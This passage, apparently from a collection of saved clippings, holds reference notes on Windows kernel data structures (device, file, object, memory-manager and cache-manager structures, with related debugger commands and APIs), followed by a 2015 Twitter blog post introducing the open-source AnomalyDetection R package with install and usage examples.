manger to allocate the appropriate number of I/O stack locations for IRPs
targeted to that stack of device objects. The **CurrentIrp** and
**DeviceQueue** fields are only used when the driver uses system managed I/O
for the device, a feature that is rarely used in drivers, resulting in the
**CurrentIrp** field being set to NULL in most cases. The **AttachedDevice**
points to the next higher level device object in the device stack.

The debugger’s “\!devobj” command displays information about a device object.

**API :** IoCreateDevice\(\), IoDeleteDevice\(\), IoCreateDeviceSecure\(\),
IoCreateSymbolicLink\(\), IoCallDriver\(\),
IoCreateFileSpecifyDeviceObjectHint\(\), IoAttachDevice\(\),
IoAttachDeviceToDeviceStack\(\), IoDetachDevice\(\), IoGetAttachedDevice\(\),
IoGetAttachedDeviceReference\(\), IoGetLowerDeviceObject\(\),
IoGetDeviceObjectPointer\(\), IoGetDeviceNumaNode\(\)

##### nt\!\_DEVICE\_NODE

DEVICE\_NODE represents a physical or logical device that has been enumerated
by the PnP manager. Device nodes are the targets of power management and PnP
operations. The entire hardware device tree in the system is built from a
hierarch of device nodes. Device nodes have a parent child and sibling
relationship. The configuration manager APIs in user mode defined in
CfgMgr32.h/CfgMgr32.lib deal with device nodes.

The **Child** , **Sibling** , **Parent** and **LastChild** fields of
DEVICE\_NODE structure are used to maintain all device nodes in the system in
a hierarchical structure. Device nodes comprise of, at least, a Physical
Device Object \(PDO\) and pointed to by the field **PhysicalDeviceObject** and
a Function Device Object \(FDO\) and can have one more Filter Device Objects
\(FDOs\).The field **ServiceName** points to a string that identifies the
function driver that creates the FDO and drives the device. The field
**InstancePath** points to a string uniquely identifies a specific instance of
a device, when there are multiple instances of the same device in the system.
The combination of the fields **State** , **PreviousState** and
**StateHistory** are used to identify what states the device node has gone
through before it settled in its current state.

The debugger’s “\!devnode” command in the debugger displays the contents of
the DEVICE\_NODE structure. The “\!devstack” command displays all the device
objects that are a part of a single devnode.

##### nt\!\_FILE\_OBJECT

FILE\_OBJECT represents an open instance of a device object. File objects are
created when a user mode process calls CreateFile\(\) or the native API
NtCreateFile\(\) or a kernel mode driver calls ZwCreateFile\(\). Multiple file
objects can point to a device object unless the device is marked as exclusive
by setting the DO\_EXCLUSIVE bit in DEVICE\_OBJECT.Flags.

The **DeviceObject** field points to the device object whose open instance the
file object represents. The **Event** field contains an embedded event
structure that is used to block a thread that has requested synchronous I/O
operation on a device object for which the owning driver performs asynchronous
I/O.

The fields **FsContext** and **FsContext2** are used by File System Drivers
\(FSDs\) to store file object specific context information. When used by a
file system driver the **FsContext** field points to a structure of type
FSRTL\_COMMON\_FCB\_HEADER or FSRTL\_ADVANCED\_FCB\_HEADER which contains
information about a file or a stream within the file. The **FsContext** fields
of multiple FILE\_OBJECTs that represent open instances of the same file \(or
stream\) point to the same File Control Block \(FCB\). The **FsContext2**
field points to a cache control block, a data structure that the FSD uses to
store instance specific information about the file or stream.

The fields **CompletionContext** , **IrpList** and **IrpListLock** are used
then the file object is associated with an I/O completion port. The
**CompletionContext** field is initialized by NtSetInformationFile\(\) when
called with the information class FileCompletionInformation. The
**CompletionContext.Port** field points to a structure of type KQUEUE which
contains a list of IRPs that have been completed and are awaiting retrieval.
IoCompleteRequest\(\) queues IRPs to this list via the field
IRP.Tail.Overlay.ListEntry.

The debugger’s “\!fileobj” displays information about a file object.

**API :** IoCreateFile\(\), IoCreateFileEx\(\),
IoCreateFileSpecifyDeviceObjectHint\(\), IoCreateStreamFileObject\(\),
IoCreateStreamFileObjectEx\(\), ZwCreateFile\(\), ZwReadFile\(\),
ZwWriteFile\(\), ZwFsControlFile\(\), ZwDeleteFile\(\),
ZwDeviceIoControlFile\(\), ZwFlushBuffersFile\(\), ZwOpenFile\(\),
ZwFsControlFile\(\), ZwLockFile\(\), ZwQueryDirectoryFile\(\),
ZwQueryEaFile\(\), ZwCancelIoFile\(\), ZwQueryFullAttributesFile\(\),
ZwQueryInformationFile\(\),ZwQueryVolumeInformationFile\(\), ZwSetEaFile\(\),
ZwSetInformationFile\(\), ZwSetQuotaInformationFile\(\),
ZwSetVolumeInformationFile\(\), ZwUnlockFile\(\), ZwWriteFile\(\)

#### Objects and Handles

##### nt\!\_OBJECT\_HEADER

Objects in Windows are kernel data structures representing commonly used
facilities like files, registry keys, processes, threads, devices etc. that
are managed by the Object Manager, a component of the Windows Kernel. All such
objects are preceded by an OBJECT\_HEADER structure that contains information
about the object and is used to manage the life cycle of the object, allow the
object to be uniquely named, secure the object by applying access control,
invoke object type specific methods and track the allocator’s quota usage.

The object that follows the OBJECT\_HEADER structure partially overlaps the
OBJECT\_HEADER structure in that the object is placed beginning at the
**Body** field of the OBJECT\_HEADER rather than after the end of the
structure.

The object header contains the reference counts **HandleCount** and
**PointerCount** that are used by the object manager to keep the object around
as long as there are outstanding references to the object. HandleCount is the
number of handles and PointerCount is the number of handles and kernel mode
references to the object.

The object header may be preceded by optional object header information
structures like OBJECT\_HEADER\_PROCESS\_INFO, OBJECT\_HEADER\_QUOTA\_INFO,
OBJECT\_HEADER\_HANDLE\_INFO, OBJECT\_HEADER\_NAME\_INFO and
OBJECT\_HEADER\_CREATOR\_INFO which describe additional attributes about the
object. The **InfoMask** field is a bitmask that determines which of the
aforementioned headers are present.

The **SecurityDescriptor** field points to a structure of type
SECURIRTY\_DESCRIPTOR that contains the Discretionary Access Control List
\(DACL\) and the System Access Control List \(SACL\). The DACL is checked
against the process tokens for access to the object. The SACL is used for
auditing access to the object.

The kernel cannot delete objects at IRQL greater than PASSIVE\_LEVEL. The
function ObpDeferObjectDeletion\(\) links together the objects whose deletion
needs to be deferred in a list anchored in the kernel variable
ObpRemoveObjectList. The **NextToFree** field is for this purpose.

The **QuotaBlockCharged** field points to the EPROCESS\_QUOTA\_BLOCK structure
at EPROCESS.QuotaBlock and is used by the functions
PsChargeSharedPoolQuota\(\) and PsReturnSharedPoolQuota\(\) to track a
particular process’s usage of NonPaged Pool and Paged Pool. Quota is always
charged to the process that allocates the object.

The debugger's "\!object" command displays information that is stored in the
object header. The "\!obtrace" command displays object reference tracing data
for objects, if object reference tracing is enabled on an object and the
‘\!obja’ command displays object attribute information for any object.

**API :** ObReferenceObject\(\), ObReferenceObjectByPointer\(\),
ObDereferenceObject\(\)

##### nt\!\_OBJECT\_TYPE

For every type of object managed by the Object Manger there is a ‘Type Object’
structure that stores properties common to objects of that type. This ‘Type
Object’ structure is represented by OBJECT\_TYPE. As of Windows 7 there are
about 42 different object type structures. The kernel variable
ObTypeIndexTable is an array of pointers that point to OBJECT\_TYPE structures
for each object type. For every object in the system the
OBJECT\_HEADER.TypeIndex field contains the index of the OBJECT\_TYPE
structure in the ObTypeIndexTable. For each object type the kernel also
maintains a global variable that points to the associated object type
structure. E.g. The variable nt\!IoDeviceObjectType points to the OBJECT\_TYPE
structure for DEVICE\_OBJECTs.

The **TypeInfo** field of the of the OBJECT\_TYPE structure points to an
OBJECT\_TYPE\_INITIALIZER structure that, amongst other things, contains the
object type specific functions that are invoked by the object manager to
perform various operations on the object.

The **CallbackList** field is the head of the list of driver installed
callbacks for a particular object type. Currently only Process and Thread
objects support callbacks as indicated by the
**TypeInfo.SupportsObjectCallbacks** field.

The Key field contains the pool tag that is used to allocate objects of that
type.

The debugger's "\!object \ObjectTypes" command displays all the type objects
in the system.

##### nt\!\_HANDLE\_TABLE\_ENTRY

Processes in Windows have their own private handle table which is stored in
the kernel virtual address space. HANDLE\_TABLE\_ENTRY represents an
individual entry in the process’s handle table. Handle tables are allocated
from Paged Pool. When a process terminates the function ExSweepHandleTable\(\)
closes all handles in the handle table of that process.

The **Object** field points to the object structure i.e. File, Key, Event
etc., for which the handle has been created.

The **GrantedAccess** field is a bitmask of type ACCESS\_MASK which determines
the set of operations that the particular handle permits on the object. The
value of this field is computed by SeAccessCheck\(\) based on the access
requested by the caller \(Desired Access\) and the access allowed by the ACEs
in the DACL in the security descriptor of the object.

The debugger's "\!handle" command can be used to examine the handle table of
any process. The ‘\!htrace’ command can be used to display stack trace
information about handles, if handle tracing is enabled.

**API :** ObReferenceObjectByHandle\(\), ObReferenceObjectByHandleWithTag\(\).

#### Memory Manager

##### nt\!\_MDL

MDL represents a memory descriptor list structure which describes user or
kernel mode memory that has been page locked. It comprises of a fixed length
header and is followed by a variable number of Page Frame Numbers \(PFNs\) one
for each page the MDL describes.

The MDL structure contains the virtual address and the size of the buffer that
it describes and for user mode buffers it also points to the process that owns
the buffer. MDLs are used by device drivers to program hardware devices to
perform DMA transfers as well as mapping buffers user mode to kernel mode and
vice versa.

Certain types of drivers e.g. network stack, in Windows support chained MDLs
where in multiple MDL describing virtually fragmented buffers are linked
together using the **Next** field.

For MDLs that describe user mode buffers, the **Process** field points to the
EPROCESS structure of the process whose virtual address space is locked by the
MDL.

If the buffer described by the MDL is mapped to kernel virtual address space
the **MappedSystemVa** points to the address of the buffer in kernel mode.
This field is valid only if the bits MDL\_MAPPED\_TO\_SYSTEM\_VA or
MDL\_SOURCE\_IS\_NONPAGED\_POOL are set in the **MdlFlags** field.

The **Size** field contains the size of the MDL data structure and the entire
PFN array that follows the MDL.

The **StartVa** field and the **ByteOffset** field together define the start
of the original buffer that is locked by the MDL. The StartVa points to the
start of the page and the ByteOffset contains the offset from StartVa where
the buffer actually starts.

The ByteCount field describes the size of the buffer locked by the MDL.

**API :** IoAllocateMdl\(\), IoBuildPartialMdl\(\), IoFreeMdl\(\),
MmInitializeMdl\(\), MmSizeOfMdl\(\), MmPrepareMdlForReuse\(\),
MmGetMdlByteCount\(\), MmGetMdlByteOffset\(\), MmGetMdlVirtualAddress\(\),
MmGetSystemAddressForMdl\(\), MmGetSystemAddressForMdlSafe\(\),
MmGetMdlPfnArray\(\), MmBuildMdlForNonPagedPool\(\), MmProbeAndLockPages\(\),
MmUnlockPages\(\), MmMapLockedPages\(\), MmMapLockedPagesSpecifyCache\(\),
MmUnmapLockedPages\(\), MmAllocatePagesForMdl\(\),
MmAllocatePagesForMdlEx\(\), MmFreePagesFromMdl\(\),
MmMapLockedPagesWithReservedMapping\(\), MmUnmapReservedMapping\(\),
MmAllocateMappingAddress\(\), MmFreeMappingAddress\(\)

##### nt\!\_MMPTE

MMPTE is the memory managers’ representation of a Page Table Entry \(PTE\),
which is used by the CPU’s memory management unit \(MMU\) to translate a
virtual address \(VA\) to a physical address \(PA\). The number of translation
levels that are required to map a VA to a PA depends the on the CPU type. For
instance X86 uses a 2 level translation \(PDE and PTE\), X86 when operating in
PAE mode uses a 3 level translation \(PPE, PDE and PTE\) and the CPU X64 uses
a 4 level translation \(PXE, PPE, PDE, PTE\). Since the format of the
different levels of structures i.e. PXE, PPE, PDE and PTE are similar, the
MMPTE can be used to represent not just the PTE, but any of these translation
structures.

The MMPTE structure is a union of multiple sub-structures which are used by
the Windows memory managers’ page fault handling mechanism to find the
location of the page represented by the PTE. For instance, when a PTE contains
a valid physical address of a page and the MMU is able to use the PTE for
address translation the **u.Hard** sub-structure is used.

When a page is removed \(trimmed\) from the working set of a process the
Windows Memory Manager marks the page’s PTE as invalid from a hardware
perspective and re-purposes the PTE to store OS specific information about
page. As a result of this the CPUs Memory Management Unit \(MMU\) can no
longer use this PTE for address translation. In the event the process attempts
to access such a page, the CPU generates a page fault invoking the Windows
page fault handler. The information encoded in the PTE is now used to locate
the page and bring it back into the process’s working set, this resolving the
page fault. An example of this is a transition PTE, which represents a page in
standby or modified state. In this case the **u.Transition** substructure is
used to store information about the page.

When the contents of a physical page are saved to the page file, the Windows
Memory Manager modifies the PTE to point to the location of the page in the
page file in which case the **u.Soft** substructure is used. The field
**u.Soft.PageFileLow** determines which one of the 16 page files supported by
Windows contains the page and **u.Soft.PageFileHigh** contains the index of
the page in that particular pagefile.

The debugger's "\!pte" command displays the contents of all level of the page
table for the given virtual address.

##### nt\!\_MMPFN

Windows Memory Manager maintains information about every physical page in the
system in an array called the PFN database. The MMPFN structure represents
individual entries in this database and contains information about a single
physical page.

The variable nt\!MmPfnDatabase points to the array of MMPN structures that
make up the PFN database. The number of entries in the PFN database is
nt\!MmPfnSize and has extra entries to deal with hot-plug memory. In order to
conserve memory the MMPFN structure is tightly packed. The interpretation of
each field is different and depends on the state of the page.

The state of the physical page is stored in **u3.e1.PageLocation** ,
identified by one of the entries in the enumerated type nt\!\_MMLISTS.

The field **u2.ShareCount** contains the number of process PTEs that point to
the page, which would be more than one in case of shared pages.

The filed **u3.e2.ReferenceCount** contains the number of references on the
page which includes the lock count in case the page is locked. This reference
count is decremented when the u2.ShareCount becomes zero.

The **PteAddress** points to the process specific or prototype PTE structure
that point to that particular PFN entry.

The debugger's "\!pfn" command displays the contents of the MMPFN structure
for a given physical page.

##### nt\!\_MMPFNLIST

The memory manager maintains links together physical pages that are in the
same state. This speeds up the task of finding one or pages in a given state
e.g. free pages or pages that are zeroed out. The MMPFNLIST structure
maintains the head of these lists. There are multiple MMPFNLIST structures in
the system each one of which contains pages in a particular state and are
located at the kernel variable nt\!Mm<PageState>ListHead where <PageState> can
be Standby, Modified, ModifiedNoWrite, Free, Rom, Bad, Zeroed. Pages that are
in the Active state i.e. pages that currently belong to a process’s working
set are not maintained in any list.

In newer versions of Windows the nt\!MmStandbyPageListHead is not used,
instead standby pages are maintained in a prioritized set of 8 lists at
nt\!MmStandbyPageListByPriority. Similarly the nt\!MmFreePageListHead and
nt\!MmModifiedPageListHead are not used anymore, instead such pages are
maintained in lists at nt\!MmFreePagesByColor and
nt\!MmModifiedProcessListByColor or nt\!MmModifiedPageListByColor
respectively.

The MMPFN.u1.Flink and MMPFN.u2.Blink fields of the MMPFN structure, for a
particular page is used to maintain the page in a double linked list. The head
of these lists are maintained in the **Flink** and **Blink** field of the
corresponding MMPFNLIST structures.

The **ListName** field is of the enumerated type MMLISTS, which identifies the
type of pages that are linked to this list.

The debugger's "\!memusage 8" command displays the count of pages in a
particular state.

##### nt\!\_MMWSL

Every process in Windows has a working set associated with it, which comprises
of pages that the process can reference without incurring a page fault. The
Working Set Trimmer \(WST\), a component of the memory manager that runs in
the context of the KeBalanceSetManager\(\) thread, endeavors to remove pages
that are not being used by a process and re-distribute them to other processes
that actually need them. In order to perform this task, the WST needs to store
information about the working set of each process in the system. This
information is maintained in the MMWSL structure. Every process’s
EPROCESS.Vm.VmWorkingSetList points to the MMWSL structure for that process.

The MMWSL of each process in the system is mapped at the exact same address in
the HyperSpace portion of the kernel virtual address space. HyperSpace is the
part of the kernel virtual address space that has a per process mapping as
opposed to having a single shared mapping across all processes, as is the case
with the rest of the kernel virtual address space. Hence the memory manager,
at any given instance, can only access the MMWSL of the current process i.e.
the process whose thread is currently running on the CPU.

The **Wsle** field of the MMWSL structure points to the base of the Working
Set List Entry array of the process. The number of valid entries in the array
is in EPROCESS.Vm.WorkingSetSize.

##### nt\!\_MMWSLE

The MMWSLE data structure represents the working set list entry for a single
page in the process’s working set, so there is one MMWSLE structure for every
page that is a part of a process’s working set. This data structure is used by
the working set trimmer to determine if that particular page is a potential
candidate for trimming i.e. removal from the working set of the process.

When a process attempts to access a page that is part of its working set, the
CPU’s memory management unit \(MMU\) sets the MMPTE.Hard.Accessed bit in the
PTE that corresponds to that page. The working set trimmer wakes up at regular
intervals and scans a part of the process’s WSLEs. During this periodic scan
it checks if a particular page has been accessed since the last time it ran by
checking the accessed bit of the PTE. If the page has not been accessed since
the last scan, the page is gradually aged out by incrementing the
**u1.e1.Age** field. If the page was accessed since the last scan, the
u1.e1.Age field is reset to zero. When the value of the **u1.e1.Age** reaches
a value of 7, the page is considered as a potential candidate for trimming.

The **u1.e1.VirtualPageNumber** is the upper 20 bits \(on X86\) or 52 bits
\(on X64\) of the Virtual Address of the page represented by the MMWSLE.

The debugger's "\!wsle" command displays working set list entries for a
particular process.

##### nt\!\_POOL\_HEADER

Dynamic memory allocations in the kernel are made out of NonPaged Pool, Paged
Pool or Session Pool. Depending on the size of the memory requested, pool
allocations are categorized as small pool allocations \(Size < 4K\) and large
pool allocations \(Size >= 4K\). Pool allocation sizes are always rounded up
to nearest multiple of 8 bytes on X86 systems and 16 bytes on X64 systems.

Every small pool allocation consists of a pool header, data area where the
allocator stores data and a few bytes of padding to meet the granularity
requirements. The pool header is represented by the structure POOL\_HEADER and
structure contains information about the data area following the header.

The **BlockSize** field contains the size of the pool block including the
header and any padding bytes. The **PreviousSize** field contains the size of
the previous block \(adjacent block at a numerically lower address\). Both
BlockSize and PreviousSize are stored in multiple of 8 bytes on X86 and
multiple of 16 bytes on X64. The **PoolTag** field contains the 4 character
tag that helps identify the owner of the pool allocation, which is primarily
used for debugging. If the most significant bit \(i.e. bit 31\) of the pool
tag is set the pool allocation is marked as protected.

Large Pool allocations do not have the POOL\_HEADER embedded with the
allocation, instead the pool headers are stored in a separate table called the
nt\!PoolBigTable. This is required since large pool allocations are required
to be aligned on a page \(4K\) boundary.

The debugger's “\!pool” command displays information about all the pool blocks
in a page given any address within that pool page. “\!vm” displays pool
consumption information. ‘\!poolused’ displays number of bytes consumed and
the number of blocks for all pool tags. “\!poolfind” locates the pool
allocation for a particular tag. “\!poolval” check the pool headers for
corruption, note that it does not check for corruption in the actual pool
data. “\!frag” displays the external pool fragmentation information in non-
paged pool. The output shows the number of free blocks \(fragments\) that are
available cumulatively across all the non-pool pages in the system and the
amount of memory they take up.

**API :** ExAllocatePoolWithTag\(\),ExAllocatePoolWithQuotaTag\(\),
ExFreePool\(\).

##### nt\!\_MMVAD

MMAD structures represent virtual address descriptors \(VADs\) and are used to
describe virtually contiguous regions of a process’s user mode virtual address
space. There is a single MMVAD structure is created every time a part of the
processes virtual address is reserved for use by VirtualAlloc\(\) or
MapViewOfSection\(\). MMVADs are allocated from non-paged pool and organized
in the form of an AVL tree. Every process has its own VAD tree which is only
used to describe user mode virtual address space i.e. there are no VADs for
kernel virtual address pace.

The **StartingVpn** and **EndingVpn** contains the upper 20 bits \(on X86\) or
52 bits \(on X64\) of the starting and ending virtual address, respectively,
of the region described by the VAD. The **LeftChild** and **RightChild**
fields point to the nodes at the next lower level in the VAD tree.

The debugger's "\!vad" command displays information about the VAD structure
for a process.

**API :** ZwAllocateVirtualMemory\(\), ZwMappedViewOfSection\(\),
MmMapLockedPagesSpecifyCache\(\)

#### Cache Manager

##### nt\!\_VACB

The system cache virtual address space is divided into 256K \(defined by the
ntifs.h constant VACB\_MAPPING\_GRANULARITY\) blocks called views. This number
also determines the granularity and alignment at which files are mapped into
the system cache. For each view the cache manager maintains a Virtual Address
Control Block \(VACB\) that contains information about the view.

The kernel globals CcNumberOfFreeVacbs and CcNumberOfFreeHighPriorityVacbs
together determine count of VACBs that are available for allocation. All such
VACBs are maintained in the list at CcVacbFreeList or
CcVacbFreeHighPriorityList. The Links field is used for this purpose.

The **BaseAddress** field points to the starting address of the view in the
system cache that he VACB describes and is generated by the function
MmMapViewInSystemCache\(\).

The **SharedCacheMap** field points to the shared cache map structure that
owns this VACB and describes the section of the file mapped that the VACB maps
into the view.

The **ArrayHead** field points to the VACB\_ARRAY\_HEADER structure that
contains the VACB.

The debugger's "\!filecache" command displays information about the VACB
structures that are in use.

##### nt\!\_VACB\_ARRAY\_HEADER

VACBs are allocated together in chunks of 4095 structure accompanied by the
header VACB\_ARRAY\_HEADER, which is used manage VACBs. The
VACB\_ARRAY\_HEADER structure is immediately followed by the array of VACB
structures.

The size of the single unit of VACB array header allocation is 128K which
includes the VACB\_ARRAY\_HEADER and the 4095 VACB structures following it. So
each unit can map up to 1023 MB of system cache virtual address space \(single
VABC maps 256K\). The maximum number of VACB\_ARRAY\_HEADER structures and the
embedded VACBs is limited by the total system cache virtual address space on
the system i.e. 1TB on X64 and 2GB on X86. So on X86 systems there can be at
the most 2 VACB\_ARRAY\_HEADER structures system wide.

The kernel variable CcVacbArrays points to an array of pointers pointing to
VACB\_ARRAY\_HEADER structures. The **VacbArrayIndex** field is the index of
that particular VACB\_ARRAY\_HEADER structure in the CcVacbArrays array. The
variable CcVacbArraysHighestUsedIndex contains the index of the last used
entry in the CcVacbArrays array. This array is protected by the queued spin
lock CcVacbSpinLock.

The number of VACB\_ARRAY\_HEADER header structures that are currently
allocated across the entire system and pointed to by CcVacbArrays, is stored
in the global variable CcVacbArraysAllocated.

##### nt\!\_SHARED\_CACHE\_MAP

SHARED\_CACHE\_MAP is used by the cache manger to store information about
parts of the file that are currently cached in the system cache virtual
address space. For a cached file, there is a single instance of
SHARED\_CACHE\_MAP structure across all open instances of the file. So
SHARED\_CACHE\_MAP structures are associated with a file rather than an open
instance of the file. All FILE\_OBJECTs that represent open instances of a
particular file, point to the same SHARED\_CACHE\_MAP via the
SectionObjectPointers.SharedCacheMap field in FILE\_OBJECT.

All VACBs that map portions of the same file streams are accessible through
the same SHARED\_CACHE\_MAP structure. The shared cache map structure
guarantees that a particular section of a file never has more than one mapping
in the cache.

The global variable CcDirtySharedCacheMapList contains the list of all
SHARED\_CACHE\_MAP structures that contain views with dirty data. Within this
list there is a special entry – the global variable CcLazyWriterCursor, which
determines the start of a sub-list of SHARED\_CACHE\_MAP structures that are
to be lazy written. CcLazyWriterCursor is moved within the
CcDirtySharedCacheMapList after every pass of the lazy writer.
SHARED\_CACHE\_MAP structures that contain views without any dirty pages are
maintained in a global linked list at CcCleanSharedCacheMapList. The field
**SharedCacheMapLinks** is used to queue the SHARED\_CACHE\_MAP to the
CcCleanSharedCacheMapList or CcDirtySharedCacheMapList lists.

The **SectionSize** field determines the size of the section that is mapped by
the SHARED\_CACHE\_MAP.

The **InitialVacbs** field is a built in array of 4 VACB pointers that are
used to map file sections that are less than 1MB in size. If the section size
exceeds 1MB an array of 128 VACB pointers is allocated and stored in the
**Vacbs** fields which point to VACBs that can now describe files up to 32MB
\(i.e. 128 \* 256K\). If the section size exceeds 32MB then each one of the
128 entries pointer array is used to point to another array of 128 VACB
pointers. This additional level or indirection allows for section sizes of 4GB
\(i.e. 128 \* 128 \* 256K\). There can up to 7 levels of VACB indirection
allowing for files size of \(128^7 \* 256K\) which is larger than the maximum
section size supported by the cache manager i.e. \(2^63\).

The function CcCreateVacbArray\(\) creates the VACB arrays and all the VACB
arrays are protected by the push lock in the field **VacbLock**.

The field **PrivateList** is the head of a linked list used to maintain a list
of PRIVATE\_CACHE\_MAP structures that are associated with each open instance
of the file i.e. the FILE\_OBJECT. The PRIVATE\_CACHE\_MAP.PrivateLinks field
is used to link together the structures in the list.

The debugger’s "\!fileobj" command displays information about the
SECTION\_OBJECT\_POINTER structure which in turn contains a pointer to the
SHARED\_CACHE\_MAP.

##### nt\!\_PRIVATE\_CACHE\_MAP

The cache manager performs intelligent read ahead caching on a file to improve
performance. These read ahead operations are performed independently on every
open instance of a particular file. The PRIVATE\_CACHE\_MAP structure, which
is associated with every open instance of a file, maintains a history of last
few read operations on the file and is used by the Cache Manager to perform
intelligent read ahead operations for that file.

The FILE\_OBJECT.PrivateCacheMap points to the PRIVATE\_CACHE\_MAP structure
associated with that open instance of the file. This field initialized by
CcInitailizeCacheMap\(\) when caching is enabled for that file and cleared
when the caching is torn down via CcUninitializeCacheMap\(\).

The **FileObject** field, points to the FILE\_OBJECT that PRIVATE\_CACHE\_MAP
is associated with. Read ahead operations are performed only if
FILE\_OBJECT.Flags field does not have the FO\_RANDOM\_ACCESS bit set.

The SHARED\_CACHE\_MAP.PrivateList points to the PRIVATE\_CACHE\_MAP
structures for all open instances of a particular file. PRIVATE\_CACHE\_MAP
structures for open instances of a particular file are linked to this list via
the **PrivateLinks** field.

The combination of the fields **FileOffset1** , **FileOffset2** ,
**BeyondLastByte** , **BeyondLastByte2** is used to determine the pattern of
reads being performing on the file via that particular FILE\_OBJECT. The cache
manager function CcUpdateReadHistory\(\) is called to update these counters at
every read operation.

The **Flags.ReadAheadEnabled** field determines if read ahead operations are
required to be scheduled for that particular open instance of the file. The
field **Flags.ReadAheadActive** , which is set by CcScheduleReadAhead\(\),
indicates that the read worker routine in the field **ReadAheadWorkItem** is
currently active.

The debuggers’s “\!fileobj” command displays information about the
PRIVATE\_CACHE\_MAP.

**API :** CcInitailizeCacheMap\(\), CcUninitailizeCacheMap\(\),
CcIsFileCached\(\)

##### nt\!\_SECTION\_OBJECT\_POINTERS

SECTION\_OBJECT\_POINTERS is associated with the file object and points to
file mapping and the cache related information for the file. A single file can
have 2 separate mappings one as executable file or another as a data file.

The **DataSectionObject** field points to the control area, a structure that
serves as a link between the memory manager and the file system and is used to
memory map data files.

The **ImageSectionObject** field points to another control area structure and
is used to memory map executable files. While a data mapping comprises of a
single contiguous VA with the same protection attributes, an image mapping
consists of mapping the various sections of the executable into multiple
ranges with different protection attributes.

The **SharedCacheMap** field points to the SHARED\_CACHE\_MAP structure for
the file, that describes which parts of the file are cached and where.

The fields in the SECTION\_OBJECT\_POINTERS structure, mentioned above, are
set by the memory manager and the File System Driver associates the
SECTION\_OBJECT\_POINTERS with the file object.

**API :** CcFlushCache\(\),
CcPurgeCacheSection\(\),CcCoherencyFlushAndPurgeCache\(\),
MmFlushImageSection\(\), MmForceSectionClosed\(\), MmCanFileBeTruncated\(\),
MmDoesFileHaveUserWritableReferences\(\),
CcGetFileObjectFromSectionPtrsRef\(\), CcSetFileSizes\(\)

* * *

# Introducing practical and robust anomaly detection in a time series | Twitter Blogs
**Created:**| _1/10/2015 3:47:55 PM_  
---|---  
**Updated:**| _1/10/2015 3:47:55 PM_  
**Author:**| __  
**Tags:**| __  
  

# Introducing practical and robust anomaly detection in a time series

Tuesday, January 6, 2015 | By Arun Kejariwal \( @arun\_kejariwal\), Software Engineer \[16:49 UTC\] 
Tweet

Both last year and this year, we saw a spike in the number of photos uploaded
to Twitter on Christmas Eve, Christmas and New Year’s Eve \(in other words, an
anomaly occurred in the corresponding time series\). Today, we’re announcing
AnomalyDetection, our open-source R package that automatically detects
anomalies like these in big data in a practical and robust way.

<img src='img/Temp2_4541.png' />

_Time series from Christmas Eve 2014_

__

_<img src='img/Temp2_4545.png' />_

_____Time series from Christmas Eve 2013_____

Early detection of anomalies plays a key role in ensuring high-fidelity data
is available to our own product teams and those of our data partners. This
package helps us monitor spikes in user engagement on the platform surrounding
holidays, major sporting events or during breaking news. Beyond surges in
social engagement, exogenic factors – such as bots or spammers – may cause an
anomaly in number of favorites or followers. The package can be used to find
such bots or spam, as well as detect anomalies in system metrics after a new
software release. We’re open-sourcing AnomalyDetection because we’d like the
public community to evolve the package and learn from it as we have.

Recently, we open-sourced BreakoutDetection, a complementary R package for
automatic detection of one or more breakouts in time series. While anomalies
are point-in-time anomalous data points, breakouts are characterized by a ramp
up from one steady state to another.

Despite prior research in anomaly detection \[1\], these techniques are not
applicable in the context of social network data because of its inherent
seasonal and trend components. Also, as pointed out by Chandola et al. \[2\],
anomalies are contextual in nature and hence, techniques developed for anomaly
detection in one domain can rarely be used ‘as is’ in another domain.

Broadly, an anomaly can be characterized in the following ways:

  1. **Global/Local:** At Twitter, we observe distinct seasonal patterns in most of the time series we monitor in production. Furthermore, we monitor multiple modes in a given time period. The seasonal nature can be ascribed to a multitude of reasons such as different user behavior across different geographies. Additionally, over longer periods of time, we observe an underlying trend. This can be explained, in part, by organic growth. As the figure below shows, global anomalies typically extend above or below expected seasonality and are therefore not subject to seasonality and underlying trend. On the other hand, local anomalies, or anomalies which occur inside seasonal patterns, are masked and thus are much more difficult to detect in a robust fashion. 
<img src='img/Temp2_4544.png' />

_Illustrates positive/negative, global/local anomalies detected in real data_

  2. **Positive/Negative:** An anomaly can be positive or negative. An example of a positive anomaly is a point-in-time increase in number of Tweets during the Super Bowl. An example of a negative anomaly is a point-in-time decrease in QPS \(queries per second\). Robust detection of positive anomalies serves a key role in efficient capacity planning. Detection of negative anomalies helps discover potential hardware and data collection issues.

**How does the package work?**  
The primary algorithm, Seasonal Hybrid ESD \(S-H-ESD\), builds upon the
Generalized ESD test \[3\] for detecting anomalies. S-H-ESD can be used to
detect both global and local anomalies. This is achieved by employing time
series decomposition and using robust statistical metrics, viz., median
together with ESD. In addition, for long time series such as 6 months of
minutely data, the algorithm employs piecewise approximation. This is rooted
to the fact that trend extraction in the presence of anomalies is non-trivial
for anomaly detection \[4\].

The figure below shows large global anomalies present in the raw data and the
local \(intra-day\) anomalies that S-H-ESD exposes in the residual component
via our statistically robust decomposition technique.

<img src='img/Temp2_4543.png' />

Besides time series, the package can also be used to detect anomalies in a
vector of numerical values. We have found this very useful as many times the
corresponding timestamps are not available. The package provides rich
visualization support. The user can specify the direction of anomalies, the
window of interest \(such as last day, last hour\) and enable or disable
piecewise approximation. Additionally, the x- and y-axis are annotated in a
way to assist with visual data analysis.

**Getting started**  
To begin, install the R package using the commands below on the R console:

?

|  `install` `.packages(` `"devtools"` `)` `devtools::install_github(`
`"twitter/AnomalyDetection"` `)` `library(AnomalyDetection)`  
---|---  
The function AnomalyDetectionTs is used to discover statistically meaningful
anomalies in the input time series. The documentation of the function
AnomalyDetectionTs details the input arguments and output of the function
AnomalyDetectionTs, which can be seen by using the command below.

?

|  `help(AnomalyDetectionTs)`  
---|---  
**An example**  
The user is recommended to use the example dataset which comes with the
packages. Execute the following commands:

?

|  `data(raw_data)` `res = AnomalyDetectionTs(raw_data, max_anoms=0.02,
direction=` `'both'` `, plot=TRUE)` `res$plot`  
---|---  
This yields the following plot:

<img src='img/Temp2_4546.png' />

From the plot, we can tell that the input time series experiences both
positive and negative anomalies. Furthermore, many of the anomalies in the
time series are local anomalies within the bounds of the time series’
seasonality.

Therefore, these anomalies can’t be detected using the traditional methods.
The anomalies detected using the proposed technique are annotated on the plot.
In case the timestamps for the plot above were not available, anomaly
detection could then be carried out using the AnomalyDetectionVec function.
Specifically, you can use the following command:

?

|  `AnomalyDetectionVec(raw_data[,2], max_anoms=0.02, period=1440, direction=`
`'both'` `, only_last=FALSE, plot=TRUE)`  
---|---  
